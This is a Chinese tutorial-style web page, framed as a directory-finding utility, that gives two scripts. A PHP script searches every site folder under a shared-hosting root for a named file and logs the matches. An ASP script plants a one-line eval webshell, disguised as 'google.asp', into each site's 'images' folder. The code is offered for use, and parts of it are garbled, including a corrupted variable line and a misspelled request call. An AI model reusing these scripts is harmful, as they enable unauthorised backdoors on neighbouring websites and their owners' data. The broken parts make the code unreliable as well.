当前位置:Gxlcms > PHP教程 > php写的寻找二层目录的小程序

php写的寻找二层目录的小程序

时间:2021-07-01 10:21:17 帮助过:42人阅读

  1. set_time_limit(0);
  2. $path = 'D:/Hosting';
  3. $somefile = $_GET['key'];
  4. $logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
  5. if (!isset($_SERVER['PHP_AUTH_USER'])) {
  6. header('WWW-Authenticate: Basic realm="My Realm"');
  7. header('HTTP/1.0 401 Unauthorized');
  8. echo 'Text to send if user hits Cancel button';
  9. exit;
  10. } else {
  11. if(is_dir($path) && is_readable($path))
  12. {
  13. $path2 = '';
  14. $handle = opendir($path);
  15. while(false !== ($filename = readdir($handle)))
  16. {
  17. if($filename{0} != $_GET['dir'])
  18. {
  19. continue;
  20. }
  21. /*
  22. if($filename张尛贰-Mi != $_GET['two'])
  23. {
  24. continue;
  25. }
  26. */
  27. //$path2 = $path.'/'.$filename.'/html';
  28. $path2 = $path.'/'.$filename;
  29. if(is_dir($path2) && is_readable($path2))
  30. {
  31. @$handle2 = opendir($path2);
  32. while(false !== ($filename2 = readdir($handle2)))
  33. {
  34. if($filename2 == $somefile)
  35. {
  36. //echo'[+]Found !'.$filename2."\n";
  37. file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND);
  38. }
  39. }
  40. @closedir($handle2);
  41. }
  42. }
  43. file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND);
  44. closedir($handle);
  45. }
  46. }
  47. ?>

2、asp版

  1. <%
  2. Server.ScriptTimeout=500000000
  3. key = Trim(Request.QueryString("key"))
  4. msg=" <% eval(rquese(Chr(35)))%" &">"
  5. Set FSO=Server.CreateObject("Scripting.FileSystemObject")
  6. Set ServerFolder=FSO.GetFolder("C:\intel")
  7. Set ServerFolderList=ServerFolder.subfolders
  8. For Each ServerFileEvery IN ServerFolderList
  9. ' Response.write ServerFileEvery&"
    "
  10. If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
  11. Set sServerFolder=FSO.GetFolder(ServerFileEvery)
  12. Set sServerFolderList=sServerFolder.subfolders
  13. For Each sServerFileEvery IN sServerFolderList
  14. If LCase(sServerFileEvery.name) = "images" Then
  15. StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8"
  16. End If
  17. Next
  18. End If
  19. Next
  20. Function StreamSaveToFile(sPath, sContent, sCharSet)
  21. Dim oStream
  22. If(InStr(sPath, ":") <= 0)Then
  23. sPath = Replace(sPath, ",", ",")
  24. sPath = Server.MapPath(sPath)
  25. sPath = Replace(sPath, ",", ",")
  26. End If
  27. Set oStream = Server.CreateObject("Adodb.Stream")
  28. With oStream
  29. .Type = 2
  30. .Mode = 3
  31. .Open
  32. .Charset = sCharSet
  33. .WriteText sContent
  34. .SaveToFile sPath, 2
  35. .Close
  36. End With
  37. Set oStream = Nothing
  38. End Function
  39. %>

人气教程排行